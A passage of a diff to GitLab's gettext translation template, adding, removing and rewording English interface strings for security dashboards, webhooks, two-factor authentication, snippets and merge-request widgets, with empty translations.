@@ -21340,7 +21962,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21439,13 +22055,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21517,7 +22133,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21712,6 +22331,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21901,6 +22523,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21913,6 +22541,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22229,19 +22863,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22337,6 +22971,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22379,7 +23016,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22493,6 +23139,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22622,10 +23271,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23522,6 +24171,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23570,6 +24222,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23582,6 +24237,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23763,6 +24421,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23831,9 +24495,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,15 +24531,12 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23935,6 +24596,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23989,6 +24653,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24090,13 +24760,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24135,6 +24805,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24495,19 +25177,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25453,9 +26141,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25660,6 +26348,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25729,9 +26420,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25747,10 +26447,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25933,7 +26645,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26104,9 +26819,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,7 +26834,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26197,7 +26909,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26341,9 +27050,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26587,9 +27293,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26623,6 +27335,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26701,6 +27419,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26903,6 +27627,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27176,21 +27984,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27517,10 +28328,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27529,6 +28340,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27574,9 +28394,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27610,13 +28427,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27700,10 +28517,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27991,7 +28811,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28700,6 +29520,11 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr ""
@@ -28745,9 +29570,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28789,6 +29611,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28938,9 +29763,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28953,6 +29784,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29025,9 +29859,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29148,19 +29973,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
